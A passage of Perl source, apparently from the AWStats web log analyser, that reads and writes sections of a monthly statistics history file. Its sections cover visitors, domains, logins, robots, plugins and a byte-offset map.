3273 if ($field[0] ne "END_SIDER_$code" && $field[0] ne "${xmleb}END_SIDER_$code") { error("History file \"$filetoread\" is corrupted (End of section SIDER_$code not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3274 if ($Debug) { debug(" End of SIDER_$code section ($count entries, $countloaded loaded)"); }
3275 delete $SectionsToLoad{"sider_$code"};
3276 if ($SectionsToSave{"sider_$code"}) {
3277 Save_History("sider_$code",$year,$month,$date); delete $SectionsToSave{"sider_$code"};
3278 if ($withpurge) { %_sider404_h=(); %_referer404_h=(); }
3279 }
3280 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3281 next;
3282 }
3283 }
3284 # BEGIN_EXTRA_xxx
3285 foreach my $extranum (1..@ExtraName-1) {
3286 if ($field[0] eq "BEGIN_EXTRA_$extranum") {
3287 if ($Debug) { debug(" Begin of EXTRA_$extranum"); }
3288 $field[0]='';
3289 my $count=0;my $countloaded=0;
3290 do {
3291 if ($field[0] ne '') {
3292 $count++;
3293 if ($SectionsToLoad{"extra_$extranum"}) {
3294 if ($ExtraStatTypes[$extranum] =~ /P/i && $field[1]) { ${'_section_' . $extranum . '_p'}{$field[0]}+=$field[1]; }
3295 ${'_section_' . $extranum . '_h'}{$field[0]}+=$field[2];
3296 if ($ExtraStatTypes[$extranum] =~ /B/i && $field[3]) { ${'_section_' . $extranum . '_k'}{$field[0]}+=$field[3]; }
3297 if ($ExtraStatTypes[$extranum] =~ /L/i && ! ${'_section_' . $extranum . '_l'}{$field[0]} && $field[4]) { ${'_section_' . $extranum . '_l'}{$field[0]}=int($field[4]); }
3298 $countloaded++;
3299 }
3300 }
3301 $_=<HISTORY>;
3302 chomp $_; s/\r//;
3303 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3304 }
3305 until ($field[0] eq "END_EXTRA_$extranum" || $field[0] eq "${xmleb}END_EXTRA_$extranum" || ! $_);
3306 if ($field[0] ne "END_EXTRA_$extranum" && $field[0] ne "${xmleb}END_EXTRA_$extranum") { error("History file \"$filetoread\" is corrupted (End of section EXTRA_$extranum not found).\nRestore a recent backup of this file (data for this month will be restored to backup date), remove it (data for month will be lost), or remove the corrupted section in file (data for at least this section will be lost).","","",1); }
3307 if ($Debug) { debug(" End of EXTRA_$extranum section ($count entries, $countloaded loaded)"); }
3308 delete $SectionsToLoad{"extra_$extranum"};
3309 if ($SectionsToSave{"extra_$extranum"}) {
3310 Save_History("extra_$extranum",$year,$month,$date); delete $SectionsToSave{"extra_$extranum"};
3311 if ($withpurge) { %{'_section_' . $extranum . '_p'}=(); %{'_section_' . $extranum . '_h'}=(); %{'_section_' . $extranum . '_b'}=(); %{'_section_' . $extranum . '_l'}=(); }
3312 }
3313 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3314 next;
3315 }
3316 }
3317
3318 # BEGIN_PLUGINS
3319 if ($AtLeastOneSectionPlugin && $field[0] =~ /^BEGIN_PLUGIN_(\w+)$/i) {
3320 my $pluginname=$1;
3321 my $found=0;
3322 foreach (keys %{$PluginsLoaded{'SectionInitHashArray'}}) {
3323 if ($pluginname eq $_) {
3324 # The plugin for this section was loaded
3325 $found=1;
3326 my $issectiontoload=$SectionsToLoad{"plugin_$pluginname"};
3327# my $function="SectionReadHistory_$pluginname(\$issectiontoload,\$readxml,\$xmleb,\$countlines)";
3328# eval("$function");
3329 my $function="SectionReadHistory_$pluginname";
3330 &$function($issectiontoload,$readxml,$xmleb,$countlines);
3331 delete $SectionsToLoad{"plugin_$pluginname"};
3332 if ($SectionsToSave{"plugin_$pluginname"}) {
3333 Save_History("plugin_$pluginname",$year,$month,$date);
3334 delete $SectionsToSave{"plugin_$pluginname"};
3335 if ($withpurge) {
3336# my $function="SectionInitHashArray_$pluginname()";
3337# eval("$function");
3338 my $function="SectionInitHashArray_$pluginname";
3339 &$function();
3340 }
3341 }
3342 last;
3343 }
3344 }
3345 if (! scalar %SectionsToLoad) { debug(" Stop reading history file. Got all we need."); last; }
3346 # The plugin for this section was not loaded
3347 if (! $found) {
3348 do {
3349 $_=<HISTORY>;
3350 chomp $_; s/\r//;
3351 @field=split(/\s+/,($readxml?CleanFromTags($_):$_)); $countlines++;
3352 }
3353 until ($field[0] eq "END_PLUGIN_$pluginname" || $field[0] eq "${xmleb}END_PLUGIN_$pluginname" || ! $_);
3354 }
3355 next;
3356 }
3357
3358 # For backward compatibility (ORIGIN section was "HitFromx" in old history files)
3359 if ($SectionsToLoad{'origin'}) {
3360 if ($field[0] eq 'HitFrom0') { $_from_p[0]+=0; $_from_h[0]+=$field[1]; next; }
3361 if ($field[0] eq 'HitFrom1') { $_from_p[1]+=0; $_from_h[1]+=$field[1]; next; }
3362 if ($field[0] eq 'HitFrom2') { $_from_p[2]+=0; $_from_h[2]+=$field[1]; next; }
3363 if ($field[0] eq 'HitFrom3') { $_from_p[3]+=0; $_from_h[3]+=$field[1]; next; }
3364 if ($field[0] eq 'HitFrom4') { $_from_p[4]+=0; $_from_h[4]+=$field[1]; next; }
3365 if ($field[0] eq 'HitFrom5') { $_from_p[5]+=0; $_from_h[5]+=$field[1]; next; }
3366 }
3367 }
3368 }
3369
3370 if ($withupdate) {
3371 # Process rest of data saved in 'wait' arrays (data for hosts that are not in history file or no history file found)
3372 # This can change some values for day, sider and session sections
3373 if ($Debug) { debug(" Processing data in 'wait' arrays",3); }
3374 foreach (keys %_waithost_e) {
3375 if ($Debug) { debug(" Visit in 'wait' array for $_ is a new visit",4); }
3376 my $newtimehosts=($_waithost_s{$_}?$_waithost_s{$_}:$_host_s{$_});
3377 my $newtimehostl=($_waithost_l{$_}?$_waithost_l{$_}:$_host_l{$_});
3378 $_url_e{$_waithost_e{$_}}++;
3379 $newtimehosts =~ /^(\d\d\d\d\d\d\d\d)/; $DayVisits{$1}++;
3380 if ($_waithost_s{$_}) {
3381 # There was also a second session in processed log
3382 $_session{GetSessionRange($newtimehosts,$newtimehostl)}++;
3383 }
3384 }
3385 }
3386
3387 # Write all unwrote sections in section order ('general','time', 'day','sider','session' and other...)
3388 if ($Debug) { debug(" Check and write all unwrote sections: ".join(',',keys %SectionsToSave),2); }
3389 foreach my $key (sort { $SectionsToSave{$a} <=> $SectionsToSave{$b} } keys %SectionsToSave) {
3390 Save_History("$key",$year,$month,$date,$lastlinenb,$lastlineoffset,$lastlinechecksum);
3391 }
3392 %SectionsToSave=();
3393
3394 # Update offset in map section and last data in general section then close files
3395 if ($withupdate) {
3396 if ($xml) { print HISTORYTMP "\n\n</xml>\n"; }
3397
3398 # Update offset of sections in the MAP section
3399 foreach (sort { $PosInFile{$a} <=> $PosInFile{$b} } keys %ValueInFile) {
3400 if ($Debug) { debug(" Update offset of section $_=$ValueInFile{$_} in file at offset $PosInFile{$_}"); }
3401 if ($PosInFile{"$_"}) {
3402 seek(HISTORYTMP,$PosInFile{"$_"},0); print HISTORYTMP $ValueInFile{"$_"};
3403 }
3404 }
3405 # Save last data in general sections
3406 if ($Debug) { debug(" Update MonthVisits=$MonthVisits{$year.$month} in file at offset $PosInFile{TotalVisits}"); }
3407 seek(HISTORYTMP,$PosInFile{"TotalVisits"},0); print HISTORYTMP $MonthVisits{$year.$month};
3408 if ($Debug) { debug(" Update MonthUnique=$MonthUnique{$year.$month} in file at offset $PosInFile{TotalUnique}"); }
3409 seek(HISTORYTMP,$PosInFile{"TotalUnique"},0); print HISTORYTMP $MonthUnique{$year.$month};
3410 if ($Debug) { debug(" Update MonthHostsKnown=$MonthHostsKnown{$year.$month} in file at offset $PosInFile{MonthHostsKnown}"); }
3411 seek(HISTORYTMP,$PosInFile{"MonthHostsKnown"},0); print HISTORYTMP $MonthHostsKnown{$year.$month};
3412 if ($Debug) { debug(" Update MonthHostsUnknown=$MonthHostsUnknown{$year.$month} in file at offset $PosInFile{MonthHostsUnknown}"); }
3413 seek(HISTORYTMP,$PosInFile{"MonthHostsUnknown"},0); print HISTORYTMP $MonthHostsUnknown{$year.$month};
3414 close(HISTORYTMP) || error("Failed to write temporary history file");
3415 }
3416 if ($withread) {
3417 close(HISTORY) || error("Command for pipe '$filetoread' failed");
3418 }
3419
3420 # Purge data
3421 if ($withpurge) { &Init_HashArray(); }
3422
3423 # If update, rename tmp file bis into tmp file or set HistoryAlreadyFlushed
3424 if ($withupdate) {
3425 if ($HistoryAlreadyFlushed{"$year$month$day$hour"}) {
3426 debug("Rename tmp history file bis '$filetoread' to '$filetowrite'");
3427 if (rename($filetowrite,$filetoread)==0) {
3428 error("Failed to update tmp history file $filetoread");
3429 }
3430 }
3431 else {
3432 $HistoryAlreadyFlushed{"$year$month$day$hour"}=1;
3433 }
3434
3435 if (! $ListOfYears{"$year"} || $ListOfYears{"$year"} lt "$month") { $ListOfYears{"$year"}="$month"; }
3436 }
3437
3438 # For backward compatibility, if LastLine does not exist, set to LastTime
3439 $LastLine||=$LastTime{$date};
3440
3441 return ($withupdate?"$filetowrite":"");
3442}
3443
3444#------------------------------------------------------------------------------
3445# Function: Save a part of history file
3446# Parameters: sectiontosave,year,month,breakdate[,lastlinenb,lastlineoffset,lastlinechecksum]
3447# Input: $VERSION HISTORYTMP $nowyear $nowmonth $nowday $nowhour $nowmin $nowsec $LastLineNumber $LastLineOffset $LastLineChecksum
3448# Output: None
3449# Return: None
3450#------------------------------------------------------------------------------
3451sub Save_History {
3452 my $sectiontosave=shift||'';
3453 my $year=shift||'';
3454 my $month=shift||'';
3455 my $breakdate=shift||'';
3456
3457 my $xml=($BuildHistoryFormat eq 'xml'?1:0);
3458 my ($xmlbb,$xmlbs,$xmlbe,$xmlhb,$xmlhs,$xmlhe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=('','','','','','','','','','','');
3459 if ($xml) { ($xmlbb,$xmlbs,$xmlbe,$xmlhb,$xmlhs,$xmlhe,$xmlrb,$xmlrs,$xmlre,$xmleb,$xmlee)=("</comment><nu>\n",'</nu><recnb>','</recnb><table>','<tr><th>','</th><th>','</th></tr>','<tr><td>','</td><td>','</td></tr>','</table><nu>',"\n</nu></section>" ); }
3460 else { $xmlbs=' '; $xmlhs=' '; $xmlrs=' '; }
3461
3462 my $lastlinenb=shift||0;
3463 my $lastlineoffset=shift||0;
3464 my $lastlinechecksum=shift||0;
3465 if (! $lastlinenb) { # This happens for migrate
3466 $lastlinenb=$LastLineNumber;
3467 $lastlineoffset=$LastLineOffset;
3468 $lastlinechecksum=$LastLineChecksum;
3469 }
3470
3471 if ($Debug) { debug(" Save_History [sectiontosave=$sectiontosave,year=$year,month=$month,lastlinenb=$lastlinenb,lastlineoffset=$lastlineoffset,lastlinechecksum=$lastlinechecksum]",1); }
3472 my $spacebar=" ";
3473 my %keysinkeylist=();
3474
3475 # Header
3476 if ($sectiontosave eq 'header') {
3477 if ($xml) { print HISTORYTMP "<version><lib>\n"; }
3478 print HISTORYTMP "AWSTATS DATA FILE $VERSION\n";
3479 if ($xml) { print HISTORYTMP "</lib><comment>\n"; }
3480 print HISTORYTMP "# If you remove this file, all statistics for date $breakdate will be lost/reset.\n";
3481 if ($xml) { print HISTORYTMP "</comment></version>\n"; }
3482 print HISTORYTMP "\n";
3483 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3484 print HISTORYTMP "# Position (offset in bytes) in this file of beginning of each section for\n";
3485 print HISTORYTMP "# direct I/O access. If you made changes somewhere in this file, you should\n";
3486 print HISTORYTMP "# also remove completely the MAP section (AWStats will rewrite it at next\n";
3487 print HISTORYTMP "# update).\n";
3488 print HISTORYTMP "${xmlbb}BEGIN_MAP${xmlbs}".(26+(scalar keys %TrapInfosForHTTPErrorCodes)+(scalar @ExtraName?scalar @ExtraName-1:0)+(scalar keys %{$PluginsLoaded{'SectionInitHashArray'}}))."${xmlbe}\n";
3489 print HISTORYTMP "${xmlrb}POS_GENERAL${xmlrs}";$PosInFile{"general"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3490 # When
3491 print HISTORYTMP "${xmlrb}POS_TIME${xmlrs}";$PosInFile{"time"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3492 print HISTORYTMP "${xmlrb}POS_VISITOR${xmlrs}";$PosInFile{"visitor"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3493 print HISTORYTMP "${xmlrb}POS_DAY${xmlrs}";$PosInFile{"day"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3494 # Who
3495 print HISTORYTMP "${xmlrb}POS_DOMAIN${xmlrs}";$PosInFile{"domain"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3496 print HISTORYTMP "${xmlrb}POS_LOGIN${xmlrs}";$PosInFile{"login"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3497 print HISTORYTMP "${xmlrb}POS_ROBOT${xmlrs}";$PosInFile{"robot"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3498 print HISTORYTMP "${xmlrb}POS_WORMS${xmlrs}";$PosInFile{"worms"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3499 print HISTORYTMP "${xmlrb}POS_EMAILSENDER${xmlrs}";$PosInFile{"emailsender"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3500 print HISTORYTMP "${xmlrb}POS_EMAILRECEIVER${xmlrs}";$PosInFile{"emailreceiver"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3501 # Navigation
3502 print HISTORYTMP "${xmlrb}POS_SESSION${xmlrs}";$PosInFile{"session"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3503 print HISTORYTMP "${xmlrb}POS_SIDER${xmlrs}";$PosInFile{"sider"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3504 print HISTORYTMP "${xmlrb}POS_FILETYPES${xmlrs}";$PosInFile{"filetypes"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3505 print HISTORYTMP "${xmlrb}POS_OS${xmlrs}";$PosInFile{"os"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3506 print HISTORYTMP "${xmlrb}POS_BROWSER${xmlrs}";$PosInFile{"browser"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3507 print HISTORYTMP "${xmlrb}POS_SCREENSIZE${xmlrs}";$PosInFile{"screensize"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3508 print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERER${xmlrs}";$PosInFile{'unknownreferer'}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3509 print HISTORYTMP "${xmlrb}POS_UNKNOWNREFERERBROWSER${xmlrs}";$PosInFile{'unknownrefererbrowser'}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3510 # Referers
3511 print HISTORYTMP "${xmlrb}POS_ORIGIN${xmlrs}";$PosInFile{"origin"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3512 print HISTORYTMP "${xmlrb}POS_SEREFERRALS${xmlrs}";$PosInFile{"sereferrals"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3513 print HISTORYTMP "${xmlrb}POS_PAGEREFS${xmlrs}";$PosInFile{"pagerefs"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3514 print HISTORYTMP "${xmlrb}POS_SEARCHWORDS${xmlrs}";$PosInFile{"searchwords"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3515 print HISTORYTMP "${xmlrb}POS_KEYWORDS${xmlrs}";$PosInFile{"keywords"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3516 # Others
3517 print HISTORYTMP "${xmlrb}POS_MISC${xmlrs}";$PosInFile{"misc"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3518 print HISTORYTMP "${xmlrb}POS_ERRORS${xmlrs}";$PosInFile{"errors"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3519 print HISTORYTMP "${xmlrb}POS_CLUSTER${xmlrs}";$PosInFile{"cluster"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3520 foreach (keys %TrapInfosForHTTPErrorCodes) {
3521 print HISTORYTMP "${xmlrb}POS_SIDER_$_${xmlrs}";$PosInFile{"sider_$_"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3522 }
3523 foreach (1..@ExtraName-1) {
3524 print HISTORYTMP "${xmlrb}POS_EXTRA_$_${xmlrs}";$PosInFile{"extra_$_"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3525 }
3526 foreach (keys %{$PluginsLoaded{'SectionInitHashArray'}}) {
3527 print HISTORYTMP "${xmlrb}POS_PLUGIN_$_${xmlrs}";$PosInFile{"plugin_$_"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3528 }
3529 print HISTORYTMP "${xmleb}END_MAP${xmlee}\n";
3530 }
3531
3532 # General
3533 if ($sectiontosave eq 'general') {
3534 if ($LastUpdate < int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec")) { $LastUpdate=int("$nowyear$nowmonth$nowday$nowhour$nowmin$nowsec"); }
3535 print HISTORYTMP "\n";
3536 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3537 print HISTORYTMP "# LastLine = Date of last record processed - Last record line number in last log - Last record offset in last log - Last record signature value\n";
3538 print HISTORYTMP "# FirstTime = Date of first visit for history file\n";
3539 print HISTORYTMP "# LastTime = Date of last visit for history file\n";
3540 print HISTORYTMP "# LastUpdate = Date of last update - Nb of parsed records - Nb of parsed old records - Nb of parsed new records - Nb of parsed corrupted - Nb of parsed dropped\n";
3541 print HISTORYTMP "# TotalVisits = Number of visits\n";
3542 print HISTORYTMP "# TotalUnique = Number of unique visitors\n";
3543 print HISTORYTMP "# MonthHostsKnown = Number of hosts known\n";
3544 print HISTORYTMP "# MonthHostsUnKnown = Number of hosts unknown\n";
3545 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3546 print HISTORYTMP "${xmlbb}BEGIN_GENERAL${xmlbs}8${xmlbe}\n";
3547 print HISTORYTMP "${xmlrb}LastLine${xmlrs}".($LastLine>0?$LastLine:$LastTime{$breakdate})." $lastlinenb $lastlineoffset $lastlinechecksum${xmlre}\n";
3548 print HISTORYTMP "${xmlrb}FirstTime${xmlrs}".$FirstTime{$breakdate}."${xmlre}\n";
3549 print HISTORYTMP "${xmlrb}LastTime${xmlrs}".$LastTime{$breakdate}."${xmlre}\n";
3550 print HISTORYTMP "${xmlrb}LastUpdate${xmlrs}$LastUpdate $NbOfLinesParsed $NbOfOldLines $NbOfNewLines $NbOfLinesCorrupted $NbOfLinesDropped${xmlre}\n";
3551 print HISTORYTMP "${xmlrb}TotalVisits${xmlrs}";$PosInFile{"TotalVisits"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3552 print HISTORYTMP "${xmlrb}TotalUnique${xmlrs}";$PosInFile{"TotalUnique"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3553 print HISTORYTMP "${xmlrb}MonthHostsKnown${xmlrs}";$PosInFile{"MonthHostsKnown"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3554 print HISTORYTMP "${xmlrb}MonthHostsUnknown${xmlrs}";$PosInFile{"MonthHostsUnknown"}=tell HISTORYTMP;print HISTORYTMP "$spacebar${xmlre}\n";
3555 print HISTORYTMP "${xmleb}".(${xmleb}?"\n":"")."END_GENERAL${xmlee}\n"; # END_GENERAL on a new line following xml tag because END_ detection does not work like other sections
3556 }
3557
3558 # When
3559 if ($sectiontosave eq 'time') {
3560 print HISTORYTMP "\n";
3561 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3562 print HISTORYTMP "# Hour - Pages - Hits - Bandwidth - Not viewed Pages - Not viewed Hits - Not viewed Bandwidth\n";
3563 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3564 print HISTORYTMP "${xmlbb}BEGIN_TIME${xmlbs}24${xmlbe}\n";
3565 for (my $ix=0; $ix<=23; $ix++) { print HISTORYTMP "${xmlrb}$ix${xmlrs}".int($_time_p[$ix])."${xmlrs}".int($_time_h[$ix])."${xmlrs}".int($_time_k[$ix])."${xmlrs}".int($_time_nv_p[$ix])."${xmlrs}".int($_time_nv_h[$ix])."${xmlrs}".int($_time_nv_k[$ix])."${xmlre}\n"; }
3566 print HISTORYTMP "${xmleb}END_TIME${xmlee}\n";
3567 }
3568 if ($sectiontosave eq 'day') { # This section must be saved after VISITOR section is read
3569 print HISTORYTMP "\n";
3570 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><comment>\n"; }
3571 print HISTORYTMP "# Date - Pages - Hits - Bandwidth - Visits\n";
3572 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3573 print HISTORYTMP "${xmlbb}BEGIN_DAY${xmlbs}".(scalar keys %DayHits)."${xmlbe}\n";
3574 my $monthvisits=0;
3575 foreach (sort keys %DayHits) {
3576 if ($_ =~ /^$year$month/i) { # Found a day entry of the good month
3577 my $page=$DayPages{$_}||0;
3578 my $hits=$DayHits{$_}||0;
3579 my $bytes=$DayBytes{$_}||0;
3580 my $visits=$DayVisits{$_}||0;
3581 print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$hits${xmlrs}$bytes${xmlrs}$visits${xmlre}\n";
3582 $monthvisits+=$visits;
3583 }
3584 }
3585 $MonthVisits{$year.$month}=$monthvisits;
3586 print HISTORYTMP "${xmleb}END_DAY${xmlee}\n";
3587 }
3588
3589 # Who
3590 if ($sectiontosave eq 'domain') {
3591 print HISTORYTMP "\n";
3592 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'Domain'}</sortfor><comment>\n"; }
3593 print HISTORYTMP "# Domain - Pages - Hits - Bandwidth\n";
3594 print HISTORYTMP "# The $MaxNbOf{'Domain'} first Pages must be first (order not required for others)\n";
3595 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3596 print HISTORYTMP "${xmlbb}BEGIN_DOMAIN${xmlbs}".(scalar keys %_domener_h)."${xmlbe}\n";
3597 # We save page list in score sorted order to get a -output faster and with less use of memory.
3598 &BuildKeyList($MaxNbOf{'Domain'},$MinHit{'Domain'},\%_domener_h,\%_domener_p);
3599 my %keysinkeylist=();
3600 foreach (@keylist) {
3601 $keysinkeylist{$_}=1;
3602 my $page=$_domener_p{$_}||0;
3603 my $bytes=$_domener_k{$_}||0; # ||0 could be commented to reduce history file size
3604 print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
3605 }
3606 foreach (keys %_domener_h) {
3607 if ($keysinkeylist{$_}) { next; }
3608 my $page=$_domener_p{$_}||0;
3609 my $bytes=$_domener_k{$_}||0; # ||0 could be commented to reduce history file size
3610 print HISTORYTMP "${xmlrb}$_${xmlrs}$page${xmlrs}$_domener_h{$_}${xmlrs}$bytes${xmlre}\n";
3611 }
3612 print HISTORYTMP "${xmleb}END_DOMAIN${xmlee}\n";
3613 }
3614 if ($sectiontosave eq 'visitor') {
3615 print HISTORYTMP "\n";
3616 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'HostsShown'}</sortfor><comment>\n"; }
3617 print HISTORYTMP "# Host - Pages - Hits - Bandwidth - Last visit date - [Start date of last visit] - [Last page of last visit]\n";
3618 print HISTORYTMP "# [Start date of last visit] and [Last page of last visit] are saved only if session is not finished\n";
3619 print HISTORYTMP "# The $MaxNbOf{'HostsShown'} first Hits must be first (order not required for others)\n";
3620 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3621 print HISTORYTMP "${xmlbb}BEGIN_VISITOR${xmlbs}".(scalar keys %_host_h)."${xmlbe}\n";
3622 my $monthhostsknown=0;
3623 # We save page list in score sorted order to get a -output faster and with less use of memory.
3624 &BuildKeyList($MaxNbOf{'HostsShown'},$MinHit{'Host'},\%_host_h,\%_host_p);
3625 my %keysinkeylist=();
3626 foreach my $key (@keylist) {
3627 if ($key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i) { $monthhostsknown++; }
3628 $keysinkeylist{$key}=1;
3629 my $page=$_host_p{$key}||0;
3630 my $bytes=$_host_k{$key}||0;
3631 my $timehostl=$_host_l{$key}||0;
3632 my $timehosts=$_host_s{$key}||0;
3633 my $lastpage=$_host_u{$key}||'';
3634 if ($timehostl && $timehosts && $lastpage) {
3635 if (($timehostl+$VISITTIMEOUT) < $LastLine) {
3636 # Session for this user is expired
3637 if ($timehosts) { $_session{GetSessionRange($timehosts,$timehostl)}++; }
3638 if ($lastpage) { $_url_x{$lastpage}++; }
3639 delete $_host_s{$key};
3640 delete $_host_u{$key};
3641 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
3642 }
3643 else {
3644 # If this user has started a new session that is not expired
3645 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
3646 }
3647 }
3648 else {
3649 my $hostl=$timehostl||'';
3650 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
3651 }
3652 }
3653 foreach my $key (keys %_host_h) {
3654 if ($keysinkeylist{$key}) { next; }
3655 if ($key !~ /^\d+\.\d+\.\d+\.\d+$/ && $key !~ /^[0-9A-F]*:/i) { $monthhostsknown++; }
3656 my $page=$_host_p{$key}||0;
3657 my $bytes=$_host_k{$key}||0;
3658 my $timehostl=$_host_l{$key}||0;
3659 my $timehosts=$_host_s{$key}||0;
3660 my $lastpage=$_host_u{$key}||'';
3661 if ($timehostl && $timehosts && $lastpage) {
3662 if (($timehostl+$VISITTIMEOUT) < $LastLine) {
3663 # Session for this user is expired
3664 if ($timehosts) { $_session{GetSessionRange($timehosts,$timehostl)}++; }
3665 if ($lastpage) { $_url_x{$lastpage}++; }
3666 delete $_host_s{$key};
3667 delete $_host_u{$key};
3668 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlre}\n";
3669 }
3670 else {
3671 # If this user has started a new session that is not expired
3672 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$timehostl${xmlrs}$timehosts${xmlrs}$lastpage${xmlre}\n";
3673 }
3674 }
3675 else {
3676 my $hostl=$timehostl||'';
3677 print HISTORYTMP "${xmlrb}$key${xmlrs}$page${xmlrs}$_host_h{$key}${xmlrs}$bytes${xmlrs}$hostl${xmlre}\n";
3678 }
3679 }
3680 $MonthUnique{$year.$month}=(scalar keys %_host_p);
3681 $MonthHostsKnown{$year.$month}=$monthhostsknown;
3682 $MonthHostsUnknown{$year.$month}=(scalar keys %_host_h) - $monthhostsknown;
3683 print HISTORYTMP "${xmleb}END_VISITOR${xmlee}\n";
3684 }
3685 if ($sectiontosave eq 'login') {
3686 print HISTORYTMP "\n";
3687 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'LoginShown'}</sortfor><comment>\n"; }
3688 print HISTORYTMP "# Login - Pages - Hits - Bandwidth - Last visit\n";
3689 print HISTORYTMP "# The $MaxNbOf{'LoginShown'} first Pages must be first (order not required for others)\n";
3690 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3691 print HISTORYTMP "${xmlbb}BEGIN_LOGIN${xmlbs}".(scalar keys %_login_h)."${xmlbe}\n";
3692 # We save login list in score sorted order to get a -output faster and with less use of memory.
3693 &BuildKeyList($MaxNbOf{'LoginShown'},$MinHit{'Login'},\%_login_h,\%_login_p);
3694 my %keysinkeylist=();
3695 foreach (@keylist) {
3696 $keysinkeylist{$_}=1;
3697 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_login_p{$_}||0)."${xmlrs}".int($_login_h{$_}||0)."${xmlrs}".int($_login_k{$_}||0)."${xmlrs}".($_login_l{$_}||'')."${xmlre}\n";
3698 }
3699 foreach (keys %_login_h) {
3700 if ($keysinkeylist{$_}) { next; }
3701 print HISTORYTMP "${xmlrb}$_${xmlrs}".int($_login_p{$_}||0)."${xmlrs}".int($_login_h{$_}||0)."${xmlrs}".int($_login_k{$_}||0)."${xmlrs}".($_login_l{$_}||'')."${xmlre}\n";
3702 }
3703 print HISTORYTMP "${xmleb}END_LOGIN${xmlee}\n";
3704 }
3705 if ($sectiontosave eq 'robot') {
3706 print HISTORYTMP "\n";
3707 if ($xml) { print HISTORYTMP "<section id='$sectiontosave'><sortfor>$MaxNbOf{'RobotShown'}</sortfor><comment>\n"; }
3708 print HISTORYTMP "# Robot ID - Hits - Bandwidth - Last visit - Hits on robots.txt\n";
3709 print HISTORYTMP "# The $MaxNbOf{'RobotShown'} first Hits must be first (order not required for others)\n";
3710 $ValueInFile{$sectiontosave}=tell HISTORYTMP;
3711 print HISTORYTMP "${xmlbb}BEGIN_ROBOT${xmlbs}".(scalar keys %_robot_h)."${xmlbe}\n";
